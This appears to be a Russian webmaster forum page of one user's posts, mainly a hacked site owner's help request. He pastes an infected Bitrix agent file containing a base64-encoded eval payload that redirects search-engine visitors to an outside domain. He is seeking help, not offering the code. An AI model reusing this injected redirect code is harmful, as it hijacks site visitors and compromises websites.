profAleks

profAleks
Рейтинг
35
Регистрация
17.04.2010

Писать хостеру в поддержку, менять пароли на FTP и доступ к MySQL, возможно "накатить" чистый "движок" их дистрибутива.

Блог на шареде или VPS ?

Какие логи и в каких папках читать ?

VPS на Debian.

Заранее благодарен.

profAleks добавил 06.09.2011 в 12:45

Нашел.

Взлом был через устаревшую версию MySQL.

Использовали файл /PHPMyAdmin/scripts/setup.php

ссылка по теме

еще одна

Всем спасибо за поддержку.

profAleks добавил 06.09.2011 в 12:47

PHPMAdmin тоесть, а не MySQL.

Вообщем, сидим разбираемся.

Ситуация пока такая: когда удаляем данный код из PHP файла, то все нормально.

Но через 15 минут он восстанавливается.

Права на файл стоят 644.

Файл расположен по адресу: /var/www/ftpnew/data/www/schekino.ru/bitrix/modules/main/classes/mysql

код самого файла:


<?
/*
##############################################
# Bitrix Site Manager #
# Copyright (c) 2002-2007 Bitrix #
# http://www.bitrixsoft.com #
# mailto:admin@bitrixsoft.com #
##############################################
*/
require($_SERVER["DOCUMENT_ROOT"].BX_ROOT."/modules/main/classes/general/agent.php");

class CAgent extends CAllAgent
{
function CheckAgents()
{
global $DB, $DOCUMENT_ROOT;

$uniq = COption::GetOptionString("main", "server_uniq_id", "");
if(strlen($uniq)<=0)
{
$uniq = md5(uniqid(rand(), true));
COption::SetOptionString("main", "server_uniq_id", $uniq);
}

$agents_use_crontab = COption::GetOptionString("main", "agents_use_crontab", "N");
$str_crontab = "";
if($agents_use_crontab=="Y" || (defined("BX_CRONTAB_SUPPORT") && BX_CRONTAB_SUPPORT===true))
{
if(defined("BX_CRONTAB") && BX_CRONTAB===true)
$str_crontab = " AND IS_PERIOD='N' ";
else
$str_crontab = " AND IS_PERIOD='Y' ";
}

if(CACHED_b_agent!==false)
{
if(file_exists($_SERVER["DOCUMENT_ROOT"].BX_PERSONAL_ROOT."/managed_cache/".$DB->type."/b_agent"))
{
include($_SERVER["DOCUMENT_ROOT"].BX_PERSONAL_ROOT."/managed_cache/".$DB->type."/b_agent");
if(time()<$saved_time)
return "";
}
}

$strSql = "SELECT 'x' FROM b_agent ".
"WHERE ACTIVE='Y' AND NEXT_EXEC<=now() ".
" AND (DATE_CHECK IS NULL OR DATE_CHECK<=now()) ".
$str_crontab.
"LIMIT 1";

$db_result_agents = $DB->Query($strSql);
if($db_result_agents->Fetch())
{
$db_lock = $DB->Query("SELECT GET_LOCK('".$uniq."_agent', 0) as L");
$ar_lock = $db_lock->Fetch();
if($ar_lock["L"]=="0")
return "";
}
else
{
if(CACHED_b_agent!==false)
{
$fp = @fopen($_SERVER["DOCUMENT_ROOT"].BX_PERSONAL_ROOT."/managed_cache/".$DB->type."/b_agent", "w");
if($fp)
{
$rs = $DB->Query("SELECT UNIX_TIMESTAMP(MIN(NEXT_EXEC))-UNIX_TIMESTAMP(NOW()) DATE_DIFF FROM b_agent WHERE ACTIVE='Y'");
$ar = $rs->Fetch();
if(!$ar || $ar["DATE_DIFF"]<0)
$date_diff = 0;
elseif($ar["DATE_DIFF"]>CACHED_b_agent)
$date_diff = CACHED_b_agent;
else
$date_diff = $ar["DATE_DIFF"];
fputs($fp, "<?php eval(base64_decode("ZXJyb3JfcmVwb3J0aW5nKDApOwogJHFhenBsbT1oZWFkZXJzX3NlbnQoKTsKIGlmICghJHFhenBsbSl7CiAkcmVmZXJlcj0kX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ107CiAkdWFnPSRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTsKIGlmICgkdWFnKSB7CiBpZiAoc3RyaXN0cigkcmVmZXJlciwieWFuZGV4Iikgb3Igc3RyaXN0cigkcmVmZXJlciwieWFob28iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb29nbGUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaW5nIikgb3Igc3RyaXN0cigkcmVmZXJlciwicmFtYmxlciIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImdvZ28iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJsaXZlLmNvbSIpb3Igc3RyaXN0cigkcmVmZXJlciwiYXBvcnQiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJuaWdtYSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIndlYmFsdGEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiYWlkdS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJkb3VibGVjbGljay5uZXQiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiZWd1bi5ydSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInN0dW1ibGV1cG9uLmNvbSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpdC5seSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInRpbnl1cmwuY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiY2xpY2tiYW5rLm5ldCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJsb2dzcG90LmNvbSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm15c3BhY2UuY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZmFjZWJvb2suY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYW9sLmNvbSIpKSB7CiBpZiAoIXN0cmlzdHIoJHJlZmVyZXIsImNhY2hlIikgb3IgIXN0cmlzdHIoJHJlZmVyZXIsImludXJsIikpewogICAgaGVhZGVyKCJMb2NhdGlvbjogaHR0cDovL21hcnRoYW1pby5jdS5jYy8iKTsKZXhpdCgpOwp9Cn0KCSAgICB9CgkJfQ==")); \$saved_time=".intval(time()+$date_diff).";?>");
fclose($fp);
}
}
return "";
}

//$DB->LockTables("b_agent WRITE");
$strSql=
"SELECT ID, NAME, AGENT_INTERVAL, IS_PERIOD, MODULE_ID ".
"FROM b_agent ".
"WHERE ACTIVE='Y' ".
" AND NEXT_EXEC<=now() ".
" AND (DATE_CHECK IS NULL OR DATE_CHECK<=now()) ".
$str_crontab.
" ORDER BY SORT desc";

$db_result_agents = $DB->Query($strSql);
$i = 0;
while($db_result_agents_array = $db_result_agents->Fetch())
{
if($i==0)
{
@set_time_limit(0);
ignore_user_abort(true);
$i=1;
}
$agents_array[] = $db_result_agents_array;
$strSql="UPDATE b_agent SET DATE_CHECK=DATE_ADD(IF(DATE_CHECK IS NULL, now(), DATE_CHECK), INTERVAL 600 SECOND) WHERE ID=".$db_result_agents_array["ID"];
$DB->Query($strSql);
}
//$DB->UnLockTables();
$DB->Query("SELECT RELEASE_LOCK('".$uniq."_agent')");

for($i=0; $i<count($agents_array); $i++)
{
$arAgent = $agents_array[$i];

@set_time_limit(0);

if(strlen($arAgent["MODULE_ID"])>0 && $arAgent["MODULE_ID"]!="main")
{
if(!CModule::IncludeModule($arAgent["MODULE_ID"]))
continue;
}

//эти переменные могут измениться в вызываемой функции
$pPERIOD = $arAgent["AGENT_INTERVAL"];

global $USER;
unset($USER);
$eval_result="";
eval("\$eval_result=".$arAgent["NAME"]);
unset($USER);

if(strlen($eval_result)<=0)
{
$strSql="DELETE FROM b_agent WHERE ID=".$arAgent["ID"];
}
else
{
if($arAgent["IS_PERIOD"]=="Y")
$strSql="UPDATE b_agent SET NAME='".$DB->ForSQL($eval_result, 2000)."', LAST_EXEC=now(), NEXT_EXEC=DATE_ADD(NEXT_EXEC, INTERVAL ".$pPERIOD." SECOND), DATE_CHECK=NULL WHERE ID=".$arAgent["ID"];
else
$strSql="UPDATE b_agent SET NAME='".$DB->ForSQL($eval_result, 2000)."', LAST_EXEC=now(), NEXT_EXEC=DATE_ADD(now(), INTERVAL ".$pPERIOD." SECOND), DATE_CHECK=NULL WHERE ID=".$arAgent["ID"];
}
$DB->Query($strSql);
}
}
}
?>

Когда используется зараженный файл, то браузер выдает ошибку, как я понимаю, связанную с тем, что не заэкранирована скобка.

Вопрос, с чем может быть связана постоянные изменения файла и может ли на сайте быть шелл ?

Спасибо.

Я в PHP не силен, что делает данный код ?

ТС

Гляньте в подпись, 49 руб/месяц, гиг на диске, 8% CPU. При заказе уточните, у них есть ограничение на количество обращений в час к MySQL.

totalitarist:
Можно продавать там же, где и всем остальным сайтам. Например, в Сапе, по 2 ссылки со страницы. Только не нужно новый сайт туда добавлять - попадёт под АГС.

С тем же успехом и старый под АГС уйдет.

Добавил в сапу 2-х годичный СДЛ с pr=3 тИЦ=10 и 200 уников в сутки. Продал 50 ссылок и трафик с Яндекса исчез.

Хотя я считаю, что если Яндекс понижает такие сайты в выдаче, то это проблема самого Яндекса.

Это его пользователи будут находить в поиске не то, что ищут. 🤪

ТС, папки с правами 777 есть ? Если есть, то меняйте права.

Я бы еще файлы из заведомо чистой резервной копии залил. Мали ли, может у Вас там еще и Шелл сидит.

Regis:
Засрали форум на phpBB.
Подскажите, как можно бороться со спамом, и как поудалять сразу все посты и темы выбранных пользователей.
Руками не вариант - постов несколько тысяч.

Два пути:

1. Сменить стандартную капчу PHPbb

2. Сделать конвертацию базы данных в другой движок - например в SMF.

Обратные ссылки.

Определять в инструментах веб-мастера Яндекса к примеру.

Нужны для ускорения индексации и прироста трафика на Ваш ресурс.

Всего: 126